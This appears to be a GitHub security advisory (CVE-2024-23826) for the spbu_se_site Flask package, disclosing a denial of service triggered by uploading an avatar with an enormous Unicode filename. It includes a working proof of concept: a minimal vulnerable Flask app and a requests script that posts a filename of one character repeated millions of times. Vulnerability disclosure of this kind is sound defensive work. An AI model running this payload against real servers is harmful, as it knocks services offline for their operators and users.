Skip to content

Uploading an image with a specific filename causes a server-side DoS

Moderate
iakov published GHSA-5vfc-v7hg-pvwm Jan 27, 2024

Package

pip spbu_se_site (pip)

Affected versions

v2023.12.04 and below

Patched versions

None

Description

Summary

When uploading an avatar image, an authenticaed user may intentionally use a large Unicode filename which would lead to a server-side
denial of service under Windows. This is due to no limitation of the length of the filename and the costy use of the Unicode normalization with the form NFKD on Windows OS.

Paths in the Code source

Path with 04 steps
  1. src/flask_se_auth.py

                flash("No file part")
                return redirect(request.url)
            file = request.files["file"]
            # If the user does not select a file, the browser submits an
            # empty file without a filename.
    
  2. src/flask_se_auth.py

                return redirect(request.url)
            if file and allowed_file(file.filename):
                filename = secure_filename(file.filename)
                new_filename = os.urandom(16).hex()
                f, ext = os.path.splitext(filename)
    
  3. src/flask_se_config.py

    
    
    def secure_filename(filename: str) -> str:
        if isinstance(filename, text_type):
            from unicodedata import normalize
    
  4. src/flask_se_config.py

            from unicodedata import normalize
    
            filename = normalize("NFKD", filename)
    
        for sep in os.path.sep, os.path.altsep:
    

PoC

Next is a minimalist flask application that reproduces an avatar upload when the user is logged in.

from flask import Flask, request, render_template, redirect, url_for
import os
import re

_windows_device_files = (
    "CON",
    "AUX",
    "COM1",
    "COM2",
    "COM3",
    "COM4",
    "LPT1",
    "LPT2",
    "LPT3",
    "PRN",
    "NUL",
)

_filename_strip_re = re.compile(r"[^A-Za-zа-яА-ЯёЁ0-9_.-]")

app = Flask(__name__)

UPLOAD_FOLDER = "uploads"
ALLOWED_EXTENSIONS = {"bmp", "png", "jpg", "jpeg"}

# Ensure the upload folder exists
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER


def allowed_file(filename):
    return "." in filename and filename.rsplit(".", 1)[1].lower() in ALLOWED_EXTENSIONS


def secure_filename(filename: str) -> str:
    if isinstance(filename, str):
        from unicodedata import normalize

        # print("Normalized", filename)
        filename = normalize("NFKD", filename)

    for sep in os.path.sep, os.path.altsep:
        if sep:
            filename = filename.replace(sep, " ")

    filename = str(_filename_strip_re.sub("", "_".join(filename.split()))).strip("._")

    if (
        os.name == "nt"
        and filename
        and filename.split(".")[0].upper() in _windows_device_files
    ):
        filename = "_{filename}"

    return filename


def bypass(filename):
    # Condition 1:
    cond1 = "." in filename and filename.rsplit(".", 1)[1].lower() == "bmp"

    # Condition 2:
    filename = secure_filename(filename)
    _, ext = os.path.splitext(filename)
    cond2 = ext.lower() != ".bmp"
    return cond1 and cond2


@app.route("/", methods=["GET", "POST"])
def upload_file():
    if request.method == "POST":
        # Check if the post request has the file part
        if "file" not in request.files:
            return redirect(request.url)

        file = request.files["file"]

        if bypass(file.filename):
            return f"Bypass successful for file: {file.filename}"
        else:
            return f"Bypass failed for file: {file.filename}"

    return render_template("upload.html")


if __name__ == "__main__":
    app.run(debug=True)

Now, consider the following tool that could be run as python3 posting.py 5000000

import requests
import sys

url = "http://localhost:5000/"  # Adjust the URL accordingly
x = int(sys.argv[1])
files = {"file": ("℁" * x + ".bmp", open("titre.jpg", "rb"))}  # Adjust the file path

response = requests.post(
    url,
    files=files
)

print(response.status_code, response.elapsed.total_seconds())

Notice the use of the Unicode character in the filename as many time as potentially 5_000_000.

Impact

  • Server-side Denial of server: the web app would hung undefinetly and not process any further requests.

References:

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:H

CVE ID

CVE-2024-23826

Weaknesses

Credits